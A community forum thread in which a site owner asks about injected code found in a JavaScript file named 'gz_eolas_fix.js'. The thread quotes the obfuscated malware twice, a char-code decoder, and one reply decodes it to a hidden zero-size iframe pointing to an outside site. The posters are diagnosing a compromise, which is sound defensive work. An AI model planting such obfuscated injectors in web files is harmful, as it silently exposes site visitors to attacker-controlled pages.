- Posts: 8
COMMUNITY FORUM
What is this file???
- ronildo
-
Topic Author
- Offline
- New Member
And would like to know whats happen with this file "gz_eolas_fix.js".
Common it is this way:
function writethis(what) {
document.write(what);
}
And later it stay this way:
function writethis(what) {
document.write(what);
}
function Decode()
{
var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61";
str+="!34!104!116!116!112!58!47!47!116!104!101!111!116!104!101!114!115!105!122";
str+="!101!46!99!111!109!47!77!111!117!115!101!47!34!32!119!105!100!116!104!61";
str+="!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100";
str+="!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;out=out+String.fromCharCode(temp);temp="";
}
document.write(out);
}
Decode();
I'm sorry my bad english... lol
Please Log in or Create an account to join the conversation.
- Xyborg
-
- Offline
- New Member
- Posts: 1
function Decode()
{
var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61";
str+="!34!104!116!116!112!58!47!47!116!104!101!111!116!104!101!114!115!105!122";
str+="!101!46!99!111!109!47!77!111!117!115!101!47!34!32!119!105!100!116!104!61";
str+="!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100";
str+="!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1)
{
while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;out=out+String.fromCharCode(temp);temp="";
}
document.write(out);
}
Decode();
Are you hosting your website on Dreamhost? I'm asking that because I found a lot of infected webs on DH, and I want to know if this is a massive attack or something else.
Please post the date of the last modification of the file gz_eolas_fix.js :)
Please Log in or Create an account to join the conversation.
- ronildo
-
Topic Author
- Offline
- New Member
- Posts: 8
Every time that I remove the code, they put again.
I will search the date of the modification.
Please Log in or Create an account to join the conversation.
- HIGMoose
-
- Offline
- New Member
- Posts: 1
Thus, it becomes...
<iframe src="theothersize.com/Mouse/" width=0 height=0 frameborder=0>
So, when it is run it inserts an iframe to that url location.
Please Log in or Create an account to join the conversation.
- ronildo
-
Topic Author
- Offline
- New Member
- Posts: 8
Please Log in or Create an account to join the conversation.
- JoomlaWorks
-
- Offline
- Admin
- Posts: 6227
Fotis / JoomlaWorks Support Team
---
Please search the forum before posting a new topic :)
Please Log in or Create an account to join the conversation.